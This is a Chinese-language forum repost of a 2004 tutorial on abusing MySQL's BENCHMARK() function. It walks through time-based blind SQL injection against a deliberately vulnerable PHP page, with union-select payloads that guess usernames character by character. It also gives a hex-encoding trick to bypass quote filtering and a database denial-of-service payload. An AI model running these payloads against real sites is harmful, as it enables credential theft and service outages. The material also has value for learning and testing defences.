找回密码
 立即注册
查看: 2981|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
5 }, @8 O: _# g1 [本文作者:SuperHei
& |4 u( a- C% I; ^( d% E文章性质:原创) z) d/ L4 {6 F8 B5 k3 B$ H# n4 c2 w
发布日期:2005-01-021 T9 ~4 K2 X& ]4 T; R
完成日期:2004-07-09
9 R8 X# P) g  `  a4 q. ~/ ^第一部# x1 \& s& l9 `  j
! M0 N' j) n4 r6 A  J. J$ ?! N- j
利用时间推延进行注射---BENCHMARK函数在注射中的利用 / G# X9 F# W, g' l' j: p! W
7 a) d+ o, J8 l( b0 K( p
一.前言/思路& H( A+ Y/ K3 g8 W: e5 M/ a& F

) ?( _( \4 x( B) F; r0 b! l  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
/ G/ H* m  b0 a7 v  l: Y9 l% f! S' ~! Q, x/ O1 E' R* l4 O
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。9 }* D: }9 u" R% Y7 h

) T) J; J) C0 n0 X% P5 s二.关于BENCHMARK函数: r" A( A  h" H; ]" N! x' A
3 W$ D" e7 P! g" u, a
  在MySQL参考手册里可以看到如下描叙:
5 J4 B, d" h' a$ n. h
9 \2 l, Z& P8 R1 ^
) y; J; X5 [; g2 h--------------------------------------------------------------------------------- _0 }5 Y! c1 \: `  g/ Z3 v0 a
, o1 d/ k0 p# s7 F# \
BENCHMARK(count,expr) 2 O# h, J! w+ s+ C& _- `
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
2 v4 A. X4 j' ^) amysql> select BENCHMARK(1000000,encode("hello","goodbye")); 3 G& |0 X6 }7 m$ m; g$ @
+----------------------------------------------+
8 n1 L8 d' V9 O! L| BENCHMARK(1000000,encode("hello","goodbye")) |
. w$ P$ A# I7 R2 l4 y1 z7 O+----------------------------------------------+
5 M$ H! n: e) K4 T3 x| 0 | / h6 J" c8 _1 l! k
+----------------------------------------------+ 7 U8 A4 ~; _0 x$ K1 W3 A
1 row in set (4.74 sec)
! [5 K$ r+ U8 d' ~7 Q
0 a6 ^- K" k8 I报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。% K# X, G0 z' f8 s$ ^% i4 g  A
* ~2 R5 j1 a' O/ b; L. j

( ^, e0 H9 C4 k$ A8 H1 o7 N--------------------------------------------------------------------------------8 [. L5 A" x+ b
. a1 r0 a- m6 `* Z. w
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: , R( z4 g4 u: ]2 q$ B0 l/ M

% F+ u9 A5 n( F  r5 smysql> select md5( 'test' );
/ ~' K! X" `! Q+----------------------------------+ & U9 O% t' T' t5 }* s
| md5( 'test' ) |   j5 N5 F9 R7 W
+----------------------------------+
- ^- h8 D2 c! v) c  E4 D8 }2 ]| 098f6bcd4621d373cade4e832627b4f6 | " G  R$ k% B- i! G5 N, O
+----------------------------------+ 5 H& V* v/ m  T9 Q  o
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ) X4 Y& a, j  f, J  w4 l+ l; [
0 y% X) n5 I5 p
mysql> select benchmark( 500000, md5( 'test' ) );
& j  e! r- ~9 a+------------------------------------+
' |9 \$ {; f5 k! W0 A% \| benchmark( 500000, md5( 'test' ) ) |
% _/ H/ u) O( w4 j7 ?$ g+------------------------------------+
# Y! ?9 k6 E7 M| 0 |
8 v  {# P' R! `5 M8 V, b. J+------------------------------------+
# Y; f8 v0 e. P- l, `1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
5 U6 z' D; F9 m+ B' u2 G! F 4 G& K) v1 `- T1 n9 s! g
+ W" h  N) a8 A0 ~
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 9 |7 y  C# `2 l5 t$ a
2 ]( V, R! l. U6 y' z/ J
三.具体例子
5 d+ d3 o5 t- ]$ U0 x4 O7 \, O% U2 [2 Q0 D& X: ^( j) E4 L# f/ G2 l
  首先我们看个简单的php代码:
, K" X+ I% C2 a! E, k$ R& N6 G2 \4 p, r
< ?php
- e+ s! u$ j! Q/ t5 d5 o4 q$servername = "localhost";
- H! u0 I! Y) T$dbusername = "root"; 0 ], o$ M- C, H1 q
$dbpassword = "";
$ B- o  s7 b- t$dbname = "injection"; 0 {  \9 c# \( r% p- v
! b/ S' N, ~/ _; s. o
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $ n6 t4 s, m, o/ A3 z( w: f
8 c8 G& D" b7 \; S# v& a
$sql = "SELECT * FROM article WHERE articleid=$id";
7 C% T- g+ w. l9 A# `3 O8 o$result = mysql_db_query($dbname,$sql); ' |  Q  m  D& t& ^
$row = mysql_fetch_array($result);
" W; b7 I& W3 n' @, {' @4 l$ A( u0 b
if (!$row) 8 J. ]$ {/ G) A3 v1 J6 `
{ % F( O/ W5 U1 t  N  t
exit;
1 U! R# Q7 C! ~! ?' i}
5 P, O* @2 Q+ x9 O% A! S. U?>
/ G: Z& k  P6 }% I ' F5 z% A  _7 {

6 V5 Y5 s- i+ j, y: H  数据库injection结构和内容如下:
4 W' e8 F- z; \& F- F1 J6 Y# N9 p6 L* Y9 G4 [5 C
# 数据库 : `injection` - O3 ^& l; v: w0 N& n) {3 ?) M% j; h, E2 Q
# + m% u+ ^# E; g7 s* z
9 b+ z" R# }3 a8 v) d$ P' F4 I$ Y& z
# --------------------------------------------------------
9 T. `$ `# q$ g% Y1 ?
  G# d& n: k8 n' |#
" `1 H1 p6 f9 a, z+ y# 表的结构 `article`
7 x: R" i4 L. _2 A/ k#
+ [( a% Z( {* M+ a7 A8 F4 F
$ z+ j. E6 S* v1 a1 D. F( `8 O, j  hCREATE TABLE `article` ( ( i$ q) N' D5 S' X, ~4 T3 H) E7 r
`articleid` int(11) NOT NULL auto_increment,
, m4 U, R6 m5 Y0 k9 b# C`title` varchar(100) NOT NULL default '',
- z) F  {$ p4 s`content` text NOT NULL,
+ T7 l* b% c7 J# v4 a% W+ P' z  ]PRIMARY KEY (`articleid`) 9 \" K$ ]  x1 H1 X' z2 @
) TYPE=MyISAM AUTO_INCREMENT=3 ;
# J" g; p" Z' v: r+ l' r8 Q- O" y" k, {
#
! F  T: w' ]/ P# 导出表中的数据 `article` " M3 L1 F* S1 _2 y
# ' Q/ b) G" ?) Z; S8 r9 b) ]

# m9 x$ x1 ^* Y8 a9 [, a) _INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
& o  ~- S) u5 W! }0 QINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); % d3 O6 G# }, f5 |
1 g* b2 S# V( r
# -------------------------------------------------------- / j+ z  M+ f1 D' m2 J4 Y

- r8 I, i2 g7 t0 {7 P# 9 R/ O2 L3 ]. h; q) B5 B8 |
# 表的结构 `user`
" e: G# a# q2 ?5 H% ?& p#
6 g0 {/ ?6 M& k/ e
: W# t3 ?) V* x  j9 S2 A9 T: e4 YCREATE TABLE `user` ( 7 I( d: y$ H, h. Y
`userid` int(11) NOT NULL auto_increment, : H  w0 c6 n( ~& Y9 D
`username` varchar(20) NOT NULL default '',
& F- a: b7 N3 g# x  J`password` varchar(20) NOT NULL default '', ! C% A" S  ~2 [7 g5 J9 Q+ J
PRIMARY KEY (`userid`) : R! R5 i$ P; N
) TYPE=MyISAM AUTO_INCREMENT=3 ;
- s5 K1 K9 \$ E
/ [8 Q# F# g* F#
5 {2 m# q9 k1 j4 a# 导出表中的数据 `user`
1 {1 Z) C6 _, v( ?7 i# @# 2 z* |) o7 `7 c  x
* S, N! V* I8 Y
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
6 u2 H/ D7 e+ Q8 m, Y9 S3 C1 ^INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
+ F: t: I. ~" Q( A
6 R$ b1 v: ^& t" u. J+ p$ P8 M& U. ^7 z3 R! z+ P+ X- J! m5 F
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:7 ]+ m4 `. M' d" l# _

% f3 {, s. \: ]$ Kid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*6 b, j6 g% Z3 N; ~7 o2 T" L* S, T4 v
$ x. ]6 L* N: a$ A
: Y: x0 N" Q( T8 ]9 P3 |0 R
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
% q( R* _% O$ L! ^0 M$ N# h' o) c- B. w) d2 y: G, [
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
- t4 L1 `* Y" l! O, Y0 J8 \
8 p8 ~  v5 q. B& h
9 A" a4 r, s( _0 y  h: }& ~  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 " {" `, T) Q3 }( E

5 e5 Q9 L3 i& v  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ; g- }  _* X& h: H) o0 {

, V2 E" X. a1 {) y第二部; Q. o* T+ W3 g* ^
7 k. t* a6 {3 @
利用BENCHMARK函数进行ddos攻击
# g! z7 Q5 U) y5 _5 _2 N& p. ~4 d1 `; T& g" r
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:! K' z$ [0 T1 v( r: e& P! h6 n( x2 p

1 n2 v5 F: `$ \% Bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" F' S) Z" d, }; {$ c# n# _( g 4 Q' S# H) V" F" Z8 N( E% K

5 m0 u$ G- d$ H3 ^) W$ G小结
% w4 \2 d6 Y( N8 M0 ~* y3 t
3 F; f9 M3 Q) e2 N" y  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
, R! a+ k1 h7 Y8 F 0 {/ W, \+ F& m/ ]; f
  
- a- C; \$ F0 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表